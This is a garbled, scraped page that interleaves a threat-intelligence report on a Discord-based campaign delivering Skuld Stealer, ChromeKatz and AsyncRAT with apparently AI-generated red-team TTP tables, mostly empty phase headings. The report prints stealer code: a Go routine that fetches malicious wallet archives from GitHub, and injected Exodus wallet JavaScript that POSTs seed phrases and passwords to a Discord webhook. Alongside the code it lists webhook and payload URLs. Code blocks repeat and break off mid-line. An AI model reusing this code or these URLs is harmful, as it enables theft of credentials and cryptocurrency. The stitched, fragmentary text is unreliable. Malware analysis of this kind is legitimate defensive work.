Discord injection module to intercept sensitive user operations such as login, password changes, payment information additions,preventing requests to view devices, and blocking QR logins.Collecting sessions from popular gaming platforms (Epic Games, Minecraft, Riot Games, Uplay).System information gathering (CPU, GPU, RAM, IP, geolocation, Wi-Fi networks).Crypto wallet data theft, including mnemonic phrases and passwords.However, the variant used in this specific campaign differs from the publicly available version in several aspects. Notably, it omitscertain functionality:No crypto clipper.No anti-debugging measures.No stealing sessions from gaming platforms.No built-in persistence mechanism: Unlike the public version, this stealer does not implement internal persistence. Instead,persistence is externally achieved through the previously described scheduled task (runsys.vbs).Let’s go deeper into some of the details of the variant used in this campaign.Mutex UsageTo prevent multiple instances of itself from running, Skuld creates a mutex with a specific, GUID-like name. The variant used inthis campaign uses the exact same mutex name as the open-source version:3575651c-bb47-448e-a514-22865732bbcPlain textCopy to clipboardOpen code in new windowEnlighterJS 3 Syntax Highlighterfunc IsAlreadyRunning() bool {const AppID = "3575651c-bb47-448e-a514-22865732bbc", err := windows.CreateMutex(nil, false, syscall.StringToUTF16Ptr(fmt.Sprintf("Global\\%s", AppID)))return err != nil}func IsAlreadyRunning() bool { const AppID = "3575651c-bb47-448e-a514-22865732bbc" , err := windows.CreateMutex(nil,false, syscall.StringToUTF16Ptr(fmt.Sprintf("Global\\%s", AppID))) return err != nil }func IsAlreadyRunning() bool {const AppID = "3575651c-bb47-448e-a514-22865732bbc"_, err := windows.CreateMutex(nil, false, syscall.StringToUTF16Ptr(fmt.Sprintf("Global\\%s", AppID)))return err != nil}This mutex name can be used as an IOC to detect if Skuld is active in the system.Data Exfiltration via Discord WebhooksSkuld sends the collected data through a Discord webhook, a one-way HTTP-based channel commonly used by applications topost automated messages and data to Discord channels. Webhooks provide a convenient, secure, and easily configurable way forattackers to exfiltrate stolen information without maintaining complex command-and-control servers. |
Phase: Initial Access
Phase: Persistence
Phase: Execution
Phase: Credential Access
Phase: Collection
Phase: Exfiltration
|
In the original open-source version of Skuld, the Discord webhook URL is stored in plaintext within the configuration:Plain textCopy to clipboardOpen code in new windowEnlighterJS 3 Syntax HighlighterCONFIG := map[string]interface{}{"webhook": "https://discord.com/api/webhooks/...","cryptos": map[string]string{"BTC": "", # crypto-clipper setup"BCH": "",// ...},}CONFIG := map[string]interface{}{ "webhook": "https://discord.com/api/webhooks/...", "cryptos": map[string]string{ "BTC": "",# crypto-clipper setup "BCH": "", // ... }, }CONFIG := map[string]interface{}{"webhook": "https://discord.com/api/webhooks/...","cryptos": map[string]string{"BTC": "", # crypto-clipper setup"BCH": "",// ...},}However, the variant analyzed in this campaign uses two separate Discord webhooks, each serving different purposes, and bothURLs are encrypted using a single-byte XOR cipher.Upon execution, the malware decrypts both webhook URLs: Figure 17 – Webhook URL decryption in Skuld stealer.These are the decrypted webhook URLs: |
Based on the information provided, I'll outline possible TTPs relevant to red team emulation based on typical behavior when handling webhook URLs and cryptography in malware. Since the command-line specifics and tools are not explicitly described, I'll infer likely actions: Phase: Initialization
Phase: Execution
Phase: Command and Control
Inference on Likely Execution (General Practice):
Phase: Exfiltration
This general structure aligns with typical practices around handling encrypted configuration data in malware. For specific command-line use, further details from the CTI report would be needed. |
Name URLwebhook https://discord[.]com/api/webhooks/1355186248578502736/RDywh_K6GQKXiM5T05ueXSSjYopg9nY6XFJo1o5Jnz6v9sih59A8p-6HkndI_nOTicOwebhook2 https://discord[.]com/api/webhooks/1348629600560742462/RJgSAE7cYY-1eKMkl5EI-qZMuHaujnRBMVU_8zcIaMKyQi4mCVjc9R0zhDQ7wmPoD7XpThe first webhook (webhookencr) is used for exfiltrating general data, such as browser credentials, system information, andDiscord tokens.The second webhook (webhookencr2) is specifically reserved for exfiltrating highly sensitive data: crypto wallet seed phrases andpasswords from the Exodus and Atomic crypto wallets.Below is a partially restored Go-code responsible for this logic:Plain textCopy to clipboardOpen code in new windowEnlighterJS 3 Syntax Highlighterfunc main() {CONFIG["webhook"] = decryptXOR(CONFIG["webhookencr"].(string))CONFIG["webhook2"] = decryptXOR(CONFIG["webhookencr2"].(string))actions := []func(string){wallets.Run,browsers.Run,system.Run,discodes.Run,commonfiles.Run,tokens.Run,}// Standard modules using the first webhookfor , action := range actions {go action(CONFIG["webhook"].(string))}// Special module for crypto wallet injection using the second webhookgo mainGowrap1(CONFIG["webhook2"].(string))}func mainGowrap1(webhook2 string) {atomicURL := "https://github.com/hackirby/wallets-injection/raw/main/atomic.asar"exodusURL := "https://github.com/hackirby/wallets-injection/raw/main/exodus.asar"walletsinjection.Run(atomicURL, exodusURL, webhook2)}func main() { CONFIG["webhook"] = decryptXOR(CONFIG["webhookencr"].(string)) CONFIG["webhook2"] = |
Phase: Execution
Phase: Collection
Phase: Exfiltration
Phase: Impact
|
decryptXOR(CONFIG["webhookencr2"].(string)) actions := []func(string){ wallets.Run, browsers.Run, system.Run,discodes.Run, commonfiles.Run, tokens.Run, } // Standard modules using the first webhook for , action := range actions { goaction(CONFIG["webhook"].(string)) } // Special module for crypto wallet injection using the second webhook gomainGowrap1(CONFIG["webhook2"].(string)) } func mainGowrap1(webhook2 string) { atomicURL := "https://github.com/hackirby/wallets-injection/raw/main/atomic.asar" exodusURL := "https://github.com/hackirby/wallets-injection/raw/main/exodus.asar" walletsinjection.Run(atomicURL, exodusURL, webhook2) }func main() {CONFIG["webhook"] = decryptXOR(CONFIG["webhookencr"].(string))CONFIG["webhook2"] = decryptXOR(CONFIG["webhookencr2"].(string))actions := []func(string){wallets.Run,browsers.Run,system.Run,discodes.Run,commonfiles.Run,tokens.Run,}// Standard modules using the first webhookfor , action := range actions {go action(CONFIG["webhook"].(string))}// Special module for crypto wallet injection using the second webhookgo mainGowrap1(CONFIG["webhook2"].(string))}func mainGowrap1(webhook2 string) {atomicURL := "https://github.com/hackirby/wallets-injection/raw/main/atomic.asar"exodusURL := "https://github.com/hackirby/wallets-injection/raw/main/exodus.asar"walletsinjection.Run(atomicURL, exodusURL, webhook2)}Skuld uses a malicious technique known as wallet injection. It replaces legitimate cryptocurrency wallet applicationfiles (app.asar) with modified versions downloaded from GitHub. Skuld Stealer specifically targets the Exodus and Atomiccrypto wallets. The .asar files are archive files used by Electron applications (cross-platform applications built withJavaScript, HTML, and CSS). Electron applications commonly use .asar archives to package their source code and assets.Skuld Stealer downloads malicious .asar files from the following repositories:Atomic Wallet: https://github.com/hackirby/wallets-injection/raw/main/atomic.asarExodus Wallet: https://github.com/hackirby/wallets-injection/raw/main/exodus.asarOnce downloaded, Skuld replaces the original wallet archives with these malicious versions. Additionally, Skuld creates seeminglyharmless LICENSE text files in the wallet directories, and embeds Discord webhook URLs:Atomic wallet:%LOCALAPPDATA%\Programs\atomic\LICENSE.electron.txtExodus wallet:%LOCALAPPDATA%\exodus\app- |
Phase: Execution
Phase: Attack Execution
Phase: Impact
Phase: Persistence
|
Figure 18 – Fake LICENSE file in Exodus wallet contains a Discord webhook URL.These webhook URLs are then read by the malicious JavaScript inside the injected .asar files.When users interact with their wallets, the patched JavaScript function extracts sensitive user data, such as password and seedphrases, and sends it to the attacker.For instance, in the case of the Exodus wallet, Skuld injects malicious code into the wallet’s unlock function, which receives theuser’s entered password and retrieves the seed phrase. The malicious JavaScript then sends both the extracted seed phrase andpassword to the attacker via the Discord webhook.Plain textCopy to clipboardOpen code in new windowEnlighterJS 3 Syntax Highlighterasync unlock(e) {if (await this.shouldUseTwoFactorAuthMode()) return;const t = await Object(ee.readSeco)(this._walletPaths.seedFile, e);this._setSeed(M.fromBuffer(t)), P.a.randomFillSync(t), await this._loadLightningCreds()const webhook = await fs.readFile('LICENSE', 'utf8');const mnemonic = this._seed.mnemonicString;const password = e;const computerName = os.hostname();const username = os.userInfo().username;var request = new XMLHttpRequest();request.open("POST", webhook, true);request.setRequestHeader("Content-Type", "application/json");var payload = JSON.stringify({"username": "skuld - exodus injection","avatar_url": "https://i.ibb.co/GJGXzGX/discord-avatar-512-FCWUJ.png","content": " |
Phase: Execution
Phase: Data Collection
Phase: Exfiltration
|
"title": "Exodus Injection","color": 0xb143e3,"footer": {"text": "skuld exodus injection - made by hackirby","icon_url": "https://avatars.githubusercontent.com/u/145487845?v=4",},"fields": [{"name": "Mnemonic","value": " |
Phase: Credential Access
Phase: Exfiltration
Phase: Reconnaissance
|
request.open("POST", webhook, true); request.setRequestHeader("Content-Type", "application/json"); var payload = JSON.stringify({ "username": "skuld - exodus injection", "avatar_url": "https://i.ibb.co/GJGXzGX/discord-avatar-512-FCWUJ.png", "content": " |
Phase: Execution
Phase: Defense Evasion
Phase: Credential Access
This structured output provides an overview of the threat actor's procedures, focusing on the extraction and exfiltration techniques they employ, as well as their efforts to bypass modern security measures. |
downloads the stealer from BitBucket, where it is stored in encrypted form:https://bitbucket[.]org/syscontrol6/syscontrol/downloads/cks.exeTo decrypt the downloaded binary, the loader uses the same encryption algorithm used for the other payloads. Thedecrypted cks.exe has the SHA256 hash:f08676eeb489087bc0e47bd08a3f7c4b57ef5941698bc09d30857c650763859cUnlike traditional stealers that rely on decrypting cookie files, the ChromeKatz-based stealer operates directly within thebrowser’s memory, effectively bypassing ABE and extracting cookies from the latest versions of Google Chrome, Edge, andBrave. The stealer accesses the browser process memory directly, retrieving cookies in their decrypted form.Before initiating cookie collection, the stealer searches for the appropriate browserprocess (chrome.exe, msedge.exe, or brave.exe) for injection. It enumerates active processes, identifies browserprocesses, determines the executable path using the K32GetModuleFileNameExW function, and retrieves the browser versionvia GetFileVersionInfoW. Figure 19 – Detecting the browser version.This step is crucial, as ChromeKatz can only operate with specific browser versions where the CookieMap structure in memory isknown.Notably, cookies are stored exclusively in a single child process of the browser, the NetworkService, responsible for networkoperations. To locate the correct process, the stealer checks for the following string in the command-line arguments:Plain textCopy to clipboardOpen code in new windowEnlighterJS 3 Syntax Highlighter--utility-sub-type=network.mojom.NetworkService--utility-sub-type=network.mojom.NetworkService--utility-sub-type=network.mojom.NetworkServiceThe steps in the cookie extraction mechanism:The stealer identifies the largest MEM_PRIVATE | PAGE_READWRITE memory region within the browser’s memory, presumed tocontain the CookieMap structure.It employs signature-based search with masks (patterns containing 0xAA as wildcards) to locate the start of the structure.The stealer recursively traverses the B-tree representing the in-memory cookie storage structure to extract cookie data. |
Phase: Initial Access
Phase: Execution
Phase: Memory Manipulation
|
Figure 20 – Recursive traversal of the B-tree storing cookies in browser memory.The attackers incorporated string encryption (similar to that used in the downloaders) and a check for the presence of asettings.txt file, which should have been created by the downloader. This simple trick allows the stealer to bypass sandboxenvironments, as the module exits without initiating malicious activity if run in isolation from the rest of the malware chain.The stolen data is archived into a file exported_cookies.zip, which is then sent to the attackers via a Discord webhook.In the analyzed samples (SHA256: db1aa52842247fc3e726b339f7f4911491836b0931c322d1d2ab218ac5a4fb08, f08676eeb489087bc0e47bd08a3f7c4b57ef5941698bc09d30857c650763859c), the following webhook URLs wereused:https://discord[.]com/api/webhooks/1363890376271724785/NiZ1XTpzvw27K9O-0IVn7jM7oVVA_6drg91Wxgtgm78A9xsLoD1e_t-GFLiRBw5Lfv41https://discord[.]com/api/webhooks/1367077804990009434/jPrMZM5-Rq9LryHdcKRBvsObHHWhNvHnnhPn07yohGYsDdFYadR2YCk4oqnHwXekdDibAdditional Campaign Targeting GamersWe also identified another active campaign, operated by the same threat actors, which shares core characteristics with thepreviously described campaign but employs a different initial infection vector. In this case, the loader is distributed as aTrojanized hacktool for unlocking pirated downloadable content (DLC) in The Sims 4 — specifically targeting that game’s playerbase.The malicious archive Sims4-Unlocker.zip (SHA256: ef8c2f3c36fff5fccad806af47ded1fd53ad3e7ae22673e28e541460ff0db49c) is hosted at:https://bitbucket[.]org/htfhtthft/simshelper/downloads/Sims4-Unlocker.zipBitbucket provides download counters, allowing us to see the scope of the campaign. During our monitoring, we observed morethan 350 downloads of the archive: Figure 21 – Bitbucket download count for Sims4-Unlocker.zipDespite the different entry point and target audience, the same loader framework is used, along with the SkuldStealer and AsyncRAT payloads. |
Phase: Initial Access
Phase: Execution
Phase: Evasion
Phase: Data Exfiltration
|
Additional related repositories likely linked to past campaigns by the same actors:https://bitbucket[.]org/updateservicesvar/serv/downloads/https://bitbucket[.]org/registryclean1/fefsed/downloads/Victims and ImpactPrecise identification of victims remains challenging due to the nature of the attack infrastructure. As the Skuld Stealer usesDiscord webhooks, a one-way communication method, for exfiltrating stolen data, the attackers receive sensitive informationwithout leaving publicly accessible traces. As a result, direct victim attribution is limited.However, hosting payloads on Bitbucket provides a way to roughly estimate the campaign’s reach based on the downloadstatistics. Across several observed repositories, the number of downloads exceeded 1,300. While not every download necessarilycorresponds to a successful infection, this number lets us reasonably approximate the potential victim pool.Based on external telemetry, we determined that victims are distributed across multiple countries, including:United StatesVietnamFranceGermanySlovakiaAustriaNetherlandsUnited KingdomThe choice of payloads, including a powerful stealer specifically targeting cryptocurrency wallets, suggests that the attackers areprimarily focused on crypto users and motivated by financial gain.ConclusionThis campaign illustrates how a subtle feature of Discord’s invite system, the ability to reuse expired or deleted invite codes invanity invite links, can be exploited as a powerful attack vector. By hijacking legitimate invite links, threat actors silently redirectunsuspecting users to malicious Discord servers.The attackers constructed a carefully orchestrated, multi-stage infection chain, beginning with social engineeringtechniques, followed by a PowerShell-based downloader, and employing trusted services like GitHub, Bitbucket, and Pastebin tostealthily host and deliver encrypted malware payloads. Interestingly, instead of employing sophisticated obfuscation or packingtechniques, they relied on simpler yet highly effective evasion methods: Altering behavior based on command-lineparameters, introducing execution delays through scheduled tasks, and decrypting payloads only after multi-step execution.The selected payloads, specifically AsyncRAT and a customized variant of Skuld Stealer, indicate a financial motivation behindthis attack. While Skuld targets credentials from multiple sources such as browsers and Discord, the campaign places particularemphasis on cryptocurrency wallets, notably Exodus and Atomic, by injecting malicious JavaScript that exfiltrates stolen walletseed phrases and passwords via a dedicated Discord webhook. At the same time, the persistent scheduled task regularly triggersthe second-stage loader, ensuring continuous execution and persistence of AsyncRAT. Even if a victim discovers and removes themalware, AsyncRAT will be redownloaded and re-executed, enabling attackers to retain ongoing remote control over previouslycompromised systems.Discord took swift action to disable the malicious bot used in this campaign, which helps disrupt the current infectionchain. However, the broader risk, that attackers could create new bots or adopt alternate delivery methods that leverage the samecore techniques, still remains. |
Phase: Initial Access
Phase: Execution
Phase: Persistence
Phase: Defense Evasion
Phase: Delivery
Phase: Credential Access
Phase: Command and Control
Phase: Impact
|
ProtectionCheck Point Threat Emulation and Harmony Endpoint provide comprehensive coverage of attack tactics, file types, and operatingsystems and protect against the attacks and threats described in this report.Indicators of CompromiseHashesSHA256 Description673090abada8ca47419a5dbc37c5443fe990973613981ce622f30e83683dc932 1st Stage Downloader (RnrLoader)160eda7ad14610d93f28b7dee20501028c1a9d4f5dc0437794ccfc2604807693 1st Stage Downloader (RnrLoader newerversion)5d0509f68a9b7c415a726be75a078180e3f02e59866f193b0a99eee8e39c874f 2nd Stage Downloader (RnrLoader)375fa2e3e936d05131ee71c5a72d1b703e58ec00ae103bbea552c031d3bfbdbe PowerShell Script53b65b7c38e3d3fca465c547a8c1acc53c8723877c6884f8c3495ff8ccc94fbe AsyncRAT payloadd54fa589708546eca500fbeea44363443b86f2617c15c8f7603ff4fb05d494c1 AsyncRAT payload670be5b8c7fcd6e2920a4929fcaa380b1b0750bfa27336991a483c0c0221236a AsyncRAT payload8135f126764592be3df17200f49140bfb546ec1b2c34a153aa509465406cb46c Skuld Stealer payloadf08676eeb489087bc0e47bd08a3f7c4b57ef5941698bc09d30857c650763859c ChromeKatz payloaddb1aa52842247fc3e726b339f7f4911491836b0931c322d1d2ab218ac5a4fb08 ChromeKatz payloadef8c2f3c36fff5fccad806af47ded1fd53ad3e7ae22673e28e541460ff0db49c Sims4-Unlocker.zipNetwork IndicatorsPhishing Website:captchaguard[.]mehttps://captchaguard[.]me/?key=PowerShell Script:https://pastebin[.]com/raw/zW0L2z2MBitbucket repositories:https://bitbucket[.]org/updatevak/upd/downloadshttps://bitbucket[.]org/syscontrol6/syscontrol/downloadshttps://bitbucket[.]org/updateservicesvar/serv/downloadshttps://bitbucket[.]org/registryclean1/fefsed/downloadshttps://bitbucket[.]org/htfhtthft/simshelper/downloadsFirst stage downloader:https://github[.]com/frfs1/update/raw/refs/heads/main/installer.exehttps://github[.]com/shisuh/update/raw/refs/heads/main/installer.exehttps://github[.]com/gkwdw/wffaw/raw/refs/heads/main/installer.exeSecond stage downloader:https://bitbucket[.]org/updatevak/upd/downloads/Rnr.exehttps://bitbucket[.]org/syscontrol6/syscontrol/downloads/Rnr.exe |
Phase: Initial Access
Phase: Execution
Phase: Persistence
Phase: Command and Control
Phase: Credential Access
Phase: Data Exfiltration
|
| Gemini 2.0 |
|---|
Phase: Initial Access
Phase: Execution
Phase: Payload Delivery
Phase: Persistence
Phase: Credential Access
Phase: Exfiltration
Phase: Defense Evasion
|
| Gemini 2.5 |
|---|
Here's a structured breakdown of the threat actor's procedures, suitable for red team emulation, with indicators of compromise (IOCs) excluded: Phase: Initial Access
Phase: Execution
Phase: Persistence
Phase: Defense Evasion
Phase: Discovery & Collection
Phase: Impact
Phase: Exfiltration
|